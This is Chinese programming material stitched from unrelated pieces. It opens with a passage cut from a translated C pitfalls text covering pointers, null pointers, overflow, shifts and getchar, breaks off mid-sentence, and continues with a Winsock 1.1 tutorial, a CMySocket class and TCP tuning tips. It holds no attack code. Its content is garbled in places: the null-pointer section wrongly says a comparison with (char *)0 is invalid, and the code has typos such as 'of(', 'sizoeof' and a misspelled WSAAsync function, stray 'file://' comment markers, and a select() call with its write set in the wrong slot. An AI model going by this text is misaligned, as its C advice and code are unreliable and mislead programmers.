这可以精确地描述C中通常将指针误以为是其指向的数据的错误。正将常会在字符串中发生。例如:
char *p, *q;
p = "xyz";
尽管认为p的值是xyz有时是有用的,但这并不是真的,理解这一点非常重要。p的值是指向一个有四个字符的数组中第0个元素的指针,这四个字符是’x'、’y'、’z'和’\0′。因此,如果我们现在执行:
q = p;
p和q会指向同一块内存。内存中的字符没有因为赋值而被复制。这种情况看起来是这样的:

要记住的是,复制一个指针并不能复制它所指向的东西。
因此,如果之后我们执行:
q[1] = ‘Y’;
q所指向的内存包含字符串xYz。p也是,因为p和q指向相同的内存。
4.7 空指针不是空字符串
将一个整数转换为一个指针的结果是实现相关的(implementation-dependent),除了一个例外。这个例外是常数0,它可以保证被转换为一个与其它任何有效指针都不相等的指针。这个值通常类似这样定义:
#define NULL 0
但其效果是相同的。要记住的一个重要的事情是,当用0作为指针时它决不能被解除引用。换句话说,当你将0赋给一个指针变量后,你就不能访问它所指向的内存。不能这样写:
if(p == (char *)0) …
也不能这样写:
if(strcmp(p, (char *)0) == 0) …
因为strcmp()总是通过其参数来查看内存地址的。
如果p是一个空指针,这样写也是无效的:
printf(p);

printf("%s", p);
4.8 整数溢出
C语言关于整数操作的上溢或下溢定义得非常明确。
只要有一次操作数是无符号的,结果就是无符号的,并且以2n为模,其中n为字长。如果两个操作数都是带符号的,则结果是未定义的。
例如,假设a和b是两个非负整型变量,你希望测试a + b是否溢出。一个明显的办法是这样的:
if(a + b < 0)
complain();
通常,这是不会工作的。
一旦a + b发生了溢出,对于结果的任何赌注都是没有意义的。例如,在某些机器上,一个加法运算会将一个内部寄存器设置为四种状态:正、负、零或溢出。 在这样的机器上,编译器有权将上面的例子实现为首先将a和b加在一起,然后检查内部寄存器状态是否为负。如果该运算溢出,内部寄存器将处于溢出状态,这个 测试会失败。
使这个特殊的测试能够成功的一个正确的方法是依赖于无符号算术的良好定义,既要在有符号和无符号之间进行转换:
if((int)((unsigned)a + (unsigned)b) < 0)
complain();
4.9 移位运算符
两个原因会令使用移位运算符的人感到烦恼:
在右移运算中,空出的位是用0填充还是用符号位填充?
移位的数量允许使用哪些数?
第一个问题的答案很简单,但有时是实现相关的。如果要进行移位的操作数是无符号的,会移入0。如果操作数是带符号的,则实现有权决定是移入0还是移入符号位。如果在一个右移操作中你很关心空位,那么用unsigned来声明变量。这样你就有权假设空位被设置为0。
第二个问题的答案同样简单:如果待移位的数长度为n,则移位的数量必须大于等于0并且严格地小于n。因此,在一次单独的操作中不可能将所有的位从变量中移出。
例如,如果一个int是32位,且n是一个int,写n << 31和n << 0是合法的,但n << 32和n << -1是不合法的。
注意,即使实现将符号为移入空位,对一个带符号整数的右移运算和除以2的某次幂也不是等价的。为了证明这一点,考虑(-1) >> 1的值,这是不可能为0的。[译注:(-1) / 2的结果是0。]
5 库函数
每个有用的C程序都会用到库函数,因为没有办法把输入和输出内建到语言中去。在这一节中,我们将会看到一些广泛使用的库函数在某种情况下会出现的一些非预期行为。
5.1 getc()返回整数
考虑下面的程序:
#include <stdio.h>

main() {
char c;

while((c = getchar()) != EOF)
putchar(c);
}
这段程序看起来好像要讲标准输入复制到标准输出。实际上,它并不完全会做这些。
原因是c被声明为字符而不是整数。这意味着它将不能接收可能出现的所有字符包括EOF。
因此这里有两种可能性。有时一些合法的输入字符会导致c携带和EOF相同的值,有时又会使c无法存放EOF值。在前一种情况下,程序会在文件的中间停止复制。在后一种情况下,程序会陷入一个无限循环。
实际上,还存在着第三种可能:程序会偶然地正确工作。C语言参考手册严格地定义了表达式
((c = getchar()) != EOF)
的结果。其6.1节中声明:
当一个较长的整数被转换为一个较短的整数或一个char时,它会被截去左侧;超出的位被简单地丢弃。

Windows Socket1.1 程序设计

来源:http://blog.csdn.net/amh/

一、简介

  Windows Sockets 是从 Berkeley Sockets 扩展而来的,其在继承 Berkeley Sockets 的基础上,又进行了新的扩充。这些扩充主要是提供了一些异步函数,并增加了符合WINDOWS消息驱动特性的网络事件异步选择机制。

  Windows Sockets由两部分组成:开发组件和运行组件。

  开发组件:Windows Sockets 实现文档、应用程序接口(API)引入库和一些头文件。

  运行组件:Windows Sockets 应用程序接口的动态链接库(WINSOCK.DLL)。
  二、主要扩充说明
  1、异步选择机制:

  Windows Sockets 的异步选择函数提供了消息机制的网络事件选择,当使用它登记网络事件发生时,应用程序相应窗口函数将收到一个消息,消息中指示了发生的网络事件,以及与事件相关的一些信息。

  Windows Sockets 提供了一个异步选择函数 WSAAsyncSelect(),用它来注册应用程序感兴趣的网络事件,当这些事件发生时,应用程序相应的窗口函数将收到一个消息。

  函数结构如下:

int PASCAL FAR WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long lEvent);
  参数说明:

   hWnd:窗口句柄

   wMsg:需要发送的消息

   lEvent:事件(以下为事件的内容)

值: 含义:
FD_READ 期望在套接字上收到数据(即读准备好)时接到通知
FD_WRITE 期望在套接字上可发送数据(即写准备好)时接到通知
FD_OOB 期望在套接字上有带外数据到达时接到通知
FD_ACCEPT 期望在套接字上有外来连接时接到通知
FD_CONNECT 期望在套接字连接建立完成时接到通知
FD_CLOSE 期望在套接字关闭时接到通知
  例如:我们要在套接字读准备好或写准备好时接到通知,语句如下:

rc=WSAAsyncSelect(s,hWnd,wMsg,FD_READ|FD_WRITE);
  如果我们需要注销对套接字网络事件的消息发送,只要将 lEvent 设置为0
  2、异步请求函数

  在 Berkeley Sockets 中请求服务是阻塞的,WINDOWS SICKETS 除了支持这一类函数外,还增加了相应的异步请求函数(WSAAsyncGetXByY();)。

  3、阻塞处理方法

   Windows Sockets 为了实现当一个应用程序的套接字调用处于阻塞时,能够放弃CPU让其它应用程序运行,它在调用处于阻塞时便进入一个叫“HOOK”的例程,此例程负责接收 和分配WINDOWS消息,使得其它应用程序仍然能够接收到自己的消息并取得控制权。

  WINDOWS 是非抢先的多任务环境,即若一个程序不主动放弃其控制权,别的程序就不能执行。因此在设计Windows Sockets 程序时,尽管系统支持阻塞操作,但还是反对程序员使用该操作。但由于 SUN 公司下的 Berkeley Sockets 的套接字默认操作是阻塞的,WINDOWS 作为移植的 SOCKETS 也不可避免对这个操作支持。

  在Windows Sockets 实现中,对于不能立即完成的阻塞操作做如下处理:DLL初始化→循环操作。在循环中,它发送任何 WINDOWS 消息,并检查这个 Windows Sockets 调用是否完成,在必要时,它可以放弃CPU让其它应用程序执行(当然使用超线程的CPU就不会有这个麻烦了^_^)。我们可以调用 WSACancelBlockingCall() 函数取消此阻塞操作。

  在 Windows Sockets 中,有一个默认的阻塞处理例程 BlockingHook() 简单地获取并发送 WINDOWS 消息。如果要对复杂程序进行处理,Windows Sockets 中还有 WSASetBlockingHook() 提供用户安装自己的阻塞处理例程能力;与该函数相对应的则是 SWAUnhookBlockingHook(),它用于删除先前安装的任何阻塞处理例程,并重新安装默认的处理例程。请注意,设计自己的阻塞处理例程 时,除了函数 WSACancelBlockingHook() 之外,它不能使用其它的 Windows Sockets API 函数。在处理例程中调用 WSACancelBlockingHook()函数将取消处于阻塞的操作,它将结束阻塞循环。
  4、出错处理

  Windows Sockets 为了和以后多线程环境(WINDOWS/UNIX)兼容,它提供了两个出错处理函数来获取和设置当前线程的最近错误号。(WSAGetLastEror()和WSASetLastError())
  5、启动与终止

  使用函数 WSAStartup() 和 WSACleanup() 启动和终止套接字。
三、Windows Sockets网络程序设计核心
  我们终于可以开始真正的 Windows Sockets 网络程序设计了。不过我们还是先看一看每个 Windows Sockets 网络程序都要涉及的内容。让我们一步步慢慢走。
  1、启动与终止

  在所有 Windows Sockets 函数中,只有启动函数 WSAStartup() 和终止函数 WSACleanup() 是必须使用的。

  启动函数必须是第一个使用的函数,而且它允许指定 Windows Sockets API 的版本,并获得 SOCKETS的特定的一些技术细节。本结构如下:

int PASCAL FAR WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);
  其中 wVersionRequested 保证 SOCKETS 可正常运行的 DLL 版本,如果不支持,则返回错误信息。
我们看一下下面这段代码,看一下如何进行 WSAStartup() 的调用

WORD wVersionRequested;// 定义版本信息变量
WSADATA wsaData;//定义数据信息变量
int err;//定义错误号变量
wVersionRequested = MAKEWORD(1,1);//给版本信息赋值
err = WSAStartup(wVersionRequested, &wsaData);//给错误信息赋值
if(err!=0)
{
return;//告诉用户找不到合适的版本
}
//确认 Windows Sockets DLL 支持 1.1 版本
//DLL 版本可以高于 1.1
//系统返回的版本号始终是最低要求的 1.1,即应用程序与DLL 中可支持的最低版本号
if(LOBYTE(wsaData.wVersion)!= 1|| HIBYTE(wsaData.wVersion)!=1)
{
WSACleanup();//告诉用户找不到合适的版本
return;
}
//Windows Sockets DLL 被进程接受,可以进入下一步操作
   关闭函数使用时,任何打开并已连接的 SOCK_STREAM 套接字被复位,但那些已由 closesocket() 函数关闭的但仍有未发送数据的套接字不受影响,未发送的数据仍将被发送。程序运行时可能会多次调用 WSAStartuo() 函数,但必须保证每次调用时的 wVersionRequested 的值是相同的。
  2、异步请求服务

  Windows Sockets 除支持 Berkeley Sockets 中同步请求,还增加了了一类异步请求服务函数 WSAAsyncGerXByY()。该函数是阻塞请求函数的异步版本。应用程序调用它时,由 Windows Sockets DLL 初始化这一操作并返回调用者,此函数返回一个异步句柄,用来标识这个操作。当结果存储在调用者提供的缓冲区,并且发送一个消息到应用程序相应窗口。常用结 构如下:

HANDLE taskHnd;
char hostname="rs6000";
taskHnd = WSAAsyncBetHostByName(hWnd,wMsg,hostname,buf,buflen);
  需要注意的是,由于 Windows 的内存对像可以设置为可移动和可丢弃,因此在操作内存对象是,必须保证 WIindows Sockets DLL 对象是可用的。

  3、异步数据传输

   使用 send() 或 sendto() 函数来发送数据,使用 recv() 或recvfrom() 来接收数据。Windows Sockets 不鼓励用户使用阻塞方式传输数据,因为那样可能会阻塞整个 Windows 环境。下面我们看一个异步数据传输实例:

  假设套接字 s 在连接建立后,已经使用了函数 WSAAsyncSelect() 在其上注册了网络事件 FD_READ 和 FD_WRITE,并且 wMsg 值为 UM_SOCK,那么我们可以在 Windows 消息循环中增加如下的分支语句:

case UM_SOCK:
switch(lParam)
{
case FD_READ:
len = recv(wParam,lpBuffer,length,0);
break;
case FD_WRITE:
while(send(wParam,lpBuffer,len,0)!=SOCKET_ERROR)
break;
}
break;
  4、出错处理

  Windows 提供了一个函数来获取最近的错误码 WSAGetLastError(),推荐的编写方式如下:

len = send (s,lpBuffer,len,0);
of((len==SOCKET_ERROR)&&(WSAGetLastError()==WSAWOULDBLOCK)){…}
实例应用:
基于Visual C++的Winsock API研究

   为了方便网络编程,90年代初,由Microsoft联合了其他几家公司共同制定了一套WINDOWS下的网络编程接口,即Windows Sockets规范,它不是一种网络协议,而是一套开放的、支持多种协议的Windows下的网络编程接口。现在的Winsock已经基本上实现了与协议 无关,你可以使用Winsock来调用多种协议的功能,但较常使用的是TCP/IP协议。Socket实际在计算机中提供了一个通信端口,可以通过这个端 口与任何一个具有Socket接口的计算机通信。应用程序在网络上传输,接收的信息都通过这个Socket接口来实现。

  微软为VC定 义了Winsock类如CAsyncSocket类和派生于CAsyncSocket 的CSocket类,它们简单易用,读者朋友当然可以使用这些类来实现自己的网络程序,但是为了更好的了解Winsock API编程技术,我们这里探讨怎样使用底层的API函数实现简单的 Winsock 网络应用程式设计,分别说明如何在Server端和Client端操作Socket,实现基于TCP/IP的数据传送,最后给出相关的源代码。

  在VC中进行WINSOCK的API编程开发的时候,需要在项目中使用下面三个文件,否则会出现编译错误。

  1.WINSOCK.H: 这是WINSOCK API的头文件,需要包含在项目中。

  2.WSOCK32.LIB: WINSOCK API连接库文件。在使用中,一定要把它作为项目的非缺省的连接库包含到项目文件中去。

  3.WINSOCK.DLL: WINSOCK的动态连接库,位于WINDOWS的安装目录下。

  一、服务器端操作 socket(套接字)

  1)在初始化阶段调用WSAStartup()

   此函数在应用程序中初始化Windows Sockets DLL ,只有此函数调用成功后,应用程序才可以再调用其他Windows Sockets DLL中的API函数。在程式中调用该函数的形式如下:WSAStartup((WORD)((1<<8|1),(LPWSADATA) &WSAData),其中(1<<8|1)表示我们用的是WinSocket1.1版本,WSAata用来存储系统传回的关于 WinSocket的资料。

  2)建立Socket

  初始化WinSock的动态连接库后,需要在服务器端建立一个 监听的Socket,为此可以调用Socket()函数用来建立这个监听的Socket,并定义此Socket所使用的通信协议。此函数调用成功返回 Socket对象,失败则返回INVALID_SOCKET(调用WSAGetLastError()可得知原因,所有WinSocket 的函数都可以使用这个函数来获取失败的原因)。

SOCKET PASCAL FAR socket( int af, int type, int protocol )
参数: af:目前只提供 PF_INET(AF_INET);
type:Socket 的类型 (SOCK_STREAM、SOCK_DGRAM);
protocol:通讯协定(如果使用者不指定则设为0);

如果要建立的是遵从TCP/IP协议的socket,第二个参数type应为SOCK_STREAM,如为UDP(数据报)的socket,应为SOCK_DGRAM。

  3)绑定端口

  接下来要为服务器端定义的这个监听的Socket指定一个地址及端口(Port),这样客户端才知道待会要连接哪一个地址的哪个端口,为此我们要调用bind()函数,该函数调用成功返回0,否则返回SOCKET_ERROR。
int PASCAL FAR bind( SOCKET s, const struct sockaddr FAR *name,int namelen );

参 数: s:Socket对象名;
name:Socket的地址值,这个地址必须是执行这个程式所在机器的IP地址;
namelen:name的长度;

   如果使用者不在意地址或端口的值,那么可以设定地址为INADDR_ANY,及Port为0,Windows Sockets 会自动将其设定适当之地址及Port (1024 到 5000之间的值)。此后可以调用getsockname()函数来获知其被设定的值。

  4)监听

   当服务器端的Socket对象绑定完成之后,服务器端必须建立一个监听的队列来接收客户端的连接请求。listen()函数使服务器端的Socket 进入监听状态,并设定可以建立的最大连接数(目前最大值限制为 5, 最小值为1)。该函数调用成功返回0,否则返回SOCKET_ERROR。

int PASCAL FAR listen( SOCKET s, int backlog );
参 数: s:需要建立监听的Socket;
backlog:最大连接个数;

   服务器端的Socket调用完listen()后,如果此时客户端调用connect()函数提出连接申请的话,Server 端必须再调用accept() 函数,这样服务器端和客户端才算正式完成通信程序的连接动作。为了知道什么时候客户端提出连接要求,从而服务器端的Socket在恰当的时候调用 accept()函数完成连接的建立,我们就要使用WSAAsyncSelect()函数,让系统主动来通知我们有客户端提出连接请求了。该函数调用成功 返回0,否则返回SOCKET_ERROR。

int PASCAL FAR WSAAsyncSelect( SOCKET s, HWND hWnd,unsigned int wMsg, long lEvent );
参数: s:Socket 对象;
hWnd :接收消息的窗口句柄;
wMsg:传给窗口的消息;
lEvent: 被注册的网络事件,也即是应用程序向窗口发送消息的网路事件,该值为下列值FD_READ、FD_WRITE、FD_OOB、FD_ACCEPT、 FD_CONNECT、FD_CLOSE的组合,各个值的具体含意为FD_READ:希望在套接字S收到数据时收到消息;FD_WRITE:希望在套接字 S上可以发送数据时收到消息;FD_ACCEPT:希望在套接字S上收到连接请求时收到消息;FD_CONNECT:希望在套接字S上连接成功时收到消 息;FD_CLOSE:希望在套接字S上连接关闭时收到消息;FD_OOB:希望在套接字S上收到带外数据时收到消息。

  具体应用时,wMsg应是在应用程序中定义的消息名称,而消息结构中的lParam则为以上各种网络事件名称。所以,可以在窗口处理自定义消息函数中使用以下结构来响应Socket的不同事件:  

switch(lParam) 
  {case FD_READ:
    …  
  break;
case FD_WRITE、
    …
  break;
    …
}

  5)服务器端接受客户端的连接请求

   当Client提出连接请求时,Server 端hwnd视窗会收到Winsock Stack送来我们自定义的一个消息,这时,我们可以分析lParam,然后调用相关的函数来处理此事件。为了使服务器端接受客户端的连接请求,就要使用 accept() 函数,该函数新建一Socket与客户端的Socket相通,原先监听之Socket继续进入监听状态,等待他人的连接要求。该函数调用成功返回一个新产 生的Socket对象,否则返回INVALID_SOCKET。

SOCKET PASCAL FAR accept( SCOKET s, struct sockaddr FAR *addr,int FAR *addrlen );
参数:s:Socket的识别码;
addr:存放来连接的客户端的地址;
addrlen:addr的长度

  6)结束 socket 连接

   结束服务器和客户端的通信连接是很简单的,这一过程可以由服务器或客户机的任一端启动,只要调用closesocket()就可以了,而要关闭 Server端监听状态的socket,同样也是利用此函数。另外,与程序启动时调用WSAStartup()憨数相对应,程式结束前,需要调用 WSACleanup() 来通知Winsock Stack释放Socket所占用的资源。这两个函数都是调用成功返回0,否则返回SOCKET_ERROR。

int PASCAL FAR closesocket( SOCKET s );
参 数:s:Socket 的识别码;
int PASCAL FAR WSACleanup( void );
参 数: 无
二、客户端Socket的操作

  1)建立客户端的Socket

   客户端应用程序首先也是调用WSAStartup() 函数来与Winsock的动态连接库建立关系,然后同样调用socket() 来建立一个TCP或UDP socket(相同协定的 sockets 才能相通,TCP 对 TCP,UDP 对 UDP)。与服务器端的socket 不同的是,客户端的socket 可以调用 bind() 函数,由自己来指定IP地址及port号码;但是也可以不调用 bind(),而由 Winsock来自动设定IP地址及port号码。

  2)提出连接申请

  客户端的Socket使用connect()函数来提出与服务器端的Socket建立连接的申请,函数调用成功返回0,否则返回SOCKET_ERROR。

int PASCAL FAR connect( SOCKET s, const struct sockaddr FAR *name, int namelen );
参 数:s:Socket 的识别码;
name:Socket想要连接的对方地址;
namelen:name的长度

  三、数据的传送

   虽然基于TCP/IP连接协议(流套接字)的服务是设计客户机/服务器应用程序时的主流标准,但有些服务也是可以通过无连接协议(数据报套接字)提供 的。先介绍一下TCP socket 与UDP socket 在传送数据时的特性:Stream (TCP) Socket 提供双向、可靠、有次序、不重复的资料传送。Datagram (UDP) Socket 虽然提供双向的通信,但没有可靠、有次序、不重复的保证,所以UDP传送数据可能会收到无次序、重复的资料,甚至资料在传输过程中出现遗漏。由于UDP Socket 在传送资料时,并不保证资料能完整地送达对方,所以绝大多数应用程序都是采用TCP处理Socket,以保证资料的正确性。一般情况下TCP Socket 的数据发送和接收是调用send() 及recv() 这两个函数来达成,而 UDP Socket则是用sendto() 及recvfrom() 这两个函数,这两个函数调用成功发挥发送或接收的资料的长度,否则返回SOCKET_ERROR。

int PASCAL FAR send( SOCKET s, const char FAR *buf,int len, int flags );
参数:s:Socket 的识别码
buf:存放要传送的资料的暂存区
len buf:的长度
flags:此函数被调用的方式

   对于Datagram Socket而言,若是 datagram 的大小超过限制,则将不会送出任何资料,并会传回错误值。对Stream Socket 言,Blocking 模式下,若是传送系统内的储存空间不够存放这些要传送的资料,send()将会被block住,直到资料送完为止;如果该Socket被设定为 Non-Blocking 模式,那么将视目前的output buffer空间有多少,就送出多少资料,并不会被 block 住。flags 的值可设为 0 或 MSG_DONTROUTE及 MSG_OOB 的组合。

int PASCAL FAR recv( SOCKET s, char FAR *buf, int len, int flags );
参数:s:Socket 的识别码
buf:存放接收到的资料的暂存区
len buf:的长度
flags:此函数被调用的方式

  对Stream Socket 言,我们可以接收到目前input buffer内有效的资料,但其数量不超过len的大小。

  四、自定义的CMySocket类的实现代码:

  根据上面的知识,我自定义了一个简单的CMySocket类,下面是我定义的该类的部分实现代码:

//////////////////////////////////////
CMySocket::CMySocket() : file://类的构造函数
{
 WSADATA wsaD;
 memset( m_LastError, 0, ERR_MAXLENGTH );
 // m_LastError是类内字符串变量,初始化用来存放最后错误说明的字符串;
 // 初始化类内sockaddr_in结构变量,前者存放客户端地址,后者对应于服务器端地址;
 memset( &m_sockaddr, 0, sizeof( m_sockaddr ) );
 memset( &m_rsockaddr, 0, sizeof( m_rsockaddr ) );
 int result = WSAStartup((WORD)((1<<8|1), &wsaD);//初始化WinSocket动态连接库;
 if( result != 0 ) // 初始化失败;
 { set_LastError( "WSAStartup failed!", WSAGetLastError() );
  return;
 }
}

//////////////////////////////
CMySocket::~CMySocket() { WSACleanup(); }//类的析构函数;
////////////////////////////////////////////////////
int CMySocket::Create( void )
 {// m_hSocket是类内Socket对象,创建一个基于TCP/IP的Socket变量,并将值赋给该变量;
  if ( (m_hSocket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) == INVALID_SOCKET )
  {
   set_LastError( "socket() failed", WSAGetLastError() );
   return ERR_WSAERROR;
  }
  return ERR_SUCCESS;
 }
///////////////////////////////////////////////
int CMySocket::Close( void )//关闭Socket对象;
{
 if ( closesocket( m_hSocket ) == SOCKET_ERROR )
 {
  set_LastError( "closesocket() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 file://重置sockaddr_in 结构变量;
 memset( &m_sockaddr, 0, sizeof( sockaddr_in ) );
 memset( &m_rsockaddr, 0, sizeof( sockaddr_in ) );
 return ERR_SUCCESS;
}
/////////////////////////////////////////
int CMySocket::Connect( char* strRemote, unsigned int iPort )//定义连接函数;
{
 if( strlen( strRemote ) == 0 || iPort == 0 )
  return ERR_BADPARAM;
 hostent *hostEnt = NULL;
 long lIPAddress = 0;
 hostEnt = gethostbyname( strRemote );//根据计算机名得到该计算机的相关内容;
 if( hostEnt != NULL )
 {
  lIPAddress = ((in_addr*)hostEnt->h_addr)->s_addr;
  m_sockaddr.sin_addr.s_addr = lIPAddress;
 }
 else
 {
  m_sockaddr.sin_addr.s_addr = inet_addr( strRemote );
 }
 m_sockaddr.sin_family = AF_INET;
 m_sockaddr.sin_port = htons( iPort );
 if( connect( m_hSocket, (SOCKADDR*)&m_sockaddr, sizeof( m_sockaddr ) ) == SOCKET_ERROR )
 {
  set_LastError( "connect() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 return ERR_SUCCESS;
}
///////////////////////////////////////////////////////
int CMySocket::Bind( char* strIP, unsigned int iPort )//绑定函数;
{
 if( strlen( strIP ) == 0 || iPort == 0 )
  return ERR_BADPARAM;
 memset( &m_sockaddr,0, sizeof( m_sockaddr ) );
 m_sockaddr.sin_family = AF_INET;
 m_sockaddr.sin_addr.s_addr = inet_addr( strIP );
 m_sockaddr.sin_port = htons( iPort );
 if ( bind( m_hSocket, (SOCKADDR*)&m_sockaddr, sizeof( m_sockaddr ) ) == SOCKET_ERROR )
 {
  set_LastError( "bind() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 return ERR_SUCCESS;
}
//////////////////////////////////////////
int CMySocket::Accept( SOCKET s )//建立连接函数,S为监听Socket对象名;
{
 int Len = sizeof( m_rsockaddr );
 memset( &m_rsockaddr, 0, sizeof( m_rsockaddr ) );
 if( ( m_hSocket = accept( s, (SOCKADDR*)&m_rsockaddr, &Len ) ) == INVALID_SOCKET )
 {
  set_LastError( "accept() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 return ERR_SUCCESS;
}
/////////////////////////////////////////////////////
int CMySocket::asyncSelect( HWND hWnd, unsigned int wMsg, long lEvent )
file://事件选择函数;
{
 if( !IsWindow( hWnd ) || wMsg == 0 || lEvent == 0 )
  return ERR_BADPARAM;
 if( WSAAsyncSelect( m_hSocket, hWnd, wMsg, lEvent ) == SOCKET_ERROR )
 {
  set_LastError( "WSAAsyncSelect() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 return ERR_SUCCESS;
}
////////////////////////////////////////////////////
int CMySocket::Listen( int iQueuedConnections )//监听函数;
{
 if( iQueuedConnections == 0 )
  return ERR_BADPARAM;
 if( listen( m_hSocket, iQueuedConnections ) == SOCKET_ERROR )
 {
  set_LastError( "listen() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 return ERR_SUCCESS;
}
////////////////////////////////////////////////////
int CMySocket::Send( char* strData, int iLen )//数据发送函数;
{
 if( strData == NULL || iLen == 0 )
  return ERR_BADPARAM;
 if( send( m_hSocket, strData, iLen, 0 ) == SOCKET_ERROR )
 {
  set_LastError( "send() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 return ERR_SUCCESS;
}
/////////////////////////////////////////////////////
int CMySocket::Receive( char* strData, int iLen )//数据接收函数;
{
 if( strData == NULL )
  return ERR_BADPARAM;
 int len = 0;
 int ret = 0;
 ret = recv( m_hSocket, strData, iLen, 0 );
 if ( ret == SOCKET_ERROR )
 {
  set_LastError( "recv() failed", WSAGetLastError() );
  return ERR_WSAERROR;
 }
 return ret;
}
void CMySocket::set_LastError( char* newError, int errNum )
file://WinSock API操作错误字符串设置函数;
{
 memset( m_LastError, 0, ERR_MAXLENGTH );
 memcpy( m_LastError, newError, strlen( newError ) );
 m_LastError[strlen(newError)+1] = ‘\0′;
}

   有了上述类的定义,就可以在网络程序的服务器和客户端分别定义CMySocket对象,建立连接,传送数据了。例如,为了在服务器和客户端发送数据,需 要在服务器端定义两个CMySocket对象ServerSocket1和ServerSocket2,分别用于监听和连接,客户端定义一个 CMySocket对象ClientSocket,用于发送或接收数据,如果建立的连接数大于一,可以在服务器端再定义CMySocket对象,但要注意 连接数不要大于五。

  由于Socket API函数还有许多,如获取远端服务器、本地客户机的IP地址、主机名等等,读者可以再此基础上对CMySocket补充完善,实现更多的功能。
TCP/IP Winsock编程要点
利用Winsock编程由同步和异步方式,同步方式逻辑清晰,编程专注于应用,在抢先式的多任务操作系统中(WinNt、Win2K)采用多线程方式效率基本达到异步方式的水平,应此以下为同步方式编程要点。

  1、快速通信

  Winsock的Nagle算法将降低小数据报的发送速度,而系统默认是使用Nagle算法,使用

int setsockopt(

SOCKET s,

int level,

int optname,

const char FAR *optval,

int optlen

);函数关闭它

  例子:

SOCKET sConnect;

sConnect=::socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

int bNodelay = 1;

int err;

err = setsockopt(

sConnect,

IPPROTO_TCP,

TCP_NODELAY,

(char *)&bNodelay,

sizoeof(bNodelay));//不采用延时算法

if (err != NO_ERROR)

TRACE ("setsockopt failed for some reason\n");;

  2、SOCKET的SegMentSize和收发缓冲

  TCPSegMentSize是发送接受时单个数据报的最大长度,系统默认为1460,收发缓冲大小为8192。

   在SOCK_STREAM方式下,如果单次发送数据超过1460,系统将分成多个数据报传送,在对方接受到的将是一个数据流,应用程序需要增加断帧的判 断。当然可以采用修改注册表的方式改变1460的大小,但MicrcoSoft认为1460是最佳效率的参数,不建议修改。

  在工控系统中,建议关闭Nagle算法,每次发送数据小于1460个字节(推荐1400),这样每次发送的是一个完整的数据报,减少对方对数据流的断帧处理。

  3、同步方式中减少断网时connect函数的阻塞时间

  同步方式中的断网时connect的阻塞时间为20秒左右,可采用gethostbyaddr事先判断到服务主机的路径是否是通的,或者先ping一下对方主机的IP地址。

  A、采用gethostbyaddr阻塞时间不管成功与否为4秒左右。

  例子:

LONG lPort=3024;

struct sockaddr_in ServerHostAddr;//服务主机地址

ServerHostAddr.sin_family=AF_INET;

ServerHostAddr.sin_port=::htons(u_short(lPort));

ServerHostAddr.sin_addr.s_addr=::inet_addr("192.168.1.3");

HOSTENT* pResult=gethostbyaddr((const char *) &

(ServerHostAddr.sin_addr.s_addr),4,AF_INET);

if(NULL==pResult)

{

int nErrorCode=WSAGetLastError();

TRACE("gethostbyaddr errorcode=%d",nErrorCode);

}

else

{

TRACE("gethostbyaddr %s\n",pResult->h_name);;

}

  B、采用PING方式时间约2秒左右

  暂略
4、同步方式中解决recv,send阻塞问题

  采用select函数解决,在收发前先检查读写可用状态。

  A、读

  例子:

TIMEVAL tv01 = {0, 1};//1ms钟延迟,实际为0-10毫秒

int nSelectRet;

int nErrorCode;

FD_SET fdr = {1, sConnect};

nSelectRet=::select(0, &fdr, NULL, NULL, &tv01);//检查可读状态

if(SOCKET_ERROR==nSelectRet)

{

nErrorCode=WSAGetLastError();

TRACE("select read status errorcode=%d",nErrorCode);

::closesocket(sConnect);

goto 重新连接(客户方),或服务线程退出(服务方);

}

if(nSelectRet==0)//超时发生,无可读数据

{

继续查读状态或向对方主动发送

}

else

{

读数据

}

  B、写

TIMEVAL tv01 = {0, 1};//1ms钟延迟,实际为9-10毫秒

int nSelectRet;

int nErrorCode;

FD_SET fdw = {1, sConnect};

nSelectRet=::select(0, NULL, NULL,&fdw, &tv01);//检查可写状态

if(SOCKET_ERROR==nSelectRet)

{

nErrorCode=WSAGetLastError();

TRACE("select write status errorcode=%d",nErrorCode);

::closesocket(sConnect);

//goto 重新连接(客户方),或服务线程退出(服务方);

}

if(nSelectRet==0)//超时发生,缓冲满或网络忙

{

//继续查写状态或查读状态

}

else

{

//发送

}

  5、改变TCP收发缓冲区大小

  系统默认为8192,利用如下方式可改变。

SOCKET sConnect;

sConnect=::socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

int nrcvbuf=1024*20;

int err=setsockopt(

sConnect,

SOL_SOCKET,

SO_SNDBUF,//写缓冲,读缓冲为SO_RCVBUF

(char *)&nrcvbuf,

sizeof(nrcvbuf));

if (err != NO_ERROR)

{

TRACE("setsockopt Error!\n");

}

在设置缓冲时,检查是否真正设置成功用

int getsockopt(

SOCKET s,

int level,

int optname,

char FAR *optval,

int FAR *optlen

);

  6、服务方同一端口多IP地址的bind和listen

  在可靠性要求高的应用中,要求使用双网和多网络通道,再服务方很容易实现,用如下方式可建立客户对本机所有IP地址在端口3024下的请求服务。

SOCKET hServerSocket_DS=INVALID_SOCKET;

struct sockaddr_in HostAddr_DS;//服务器主机地址

LONG lPort=3024;

HostAddr_DS.sin_family=AF_INET;

HostAddr_DS.sin_port=::htons(u_short(lPort));

HostAddr_DS.sin_addr.s_addr=htonl(INADDR_ANY);

hServerSocket_DS=::socket( AF_INET, SOCK_STREAM,IPPROTO_TCP);

if(hServerSocket_DS==INVALID_SOCKET)

{

AfxMessageBox("建立数据服务器SOCKET 失败!");

return FALSE;

}

if(SOCKET_ERROR==::bind(hServerSocket_DS,(struct

sockaddr *)(&(HostAddr_DS)),sizeof(SOCKADDR)))

{

int nErrorCode=WSAGetLastError ();

TRACE("bind error=%d\n",nErrorCode);

AfxMessageBox("Socket Bind 错误!");

return FALSE;

}

if(SOCKET_ERROR==::listen(hServerSocket_DS,10))//10个客户

{

AfxMessageBox("Socket listen 错误!");

return FALSE;

}

AfxBeginThread(ServerThreadProc,NULL,THREAD_PRIORITY_NORMAL);

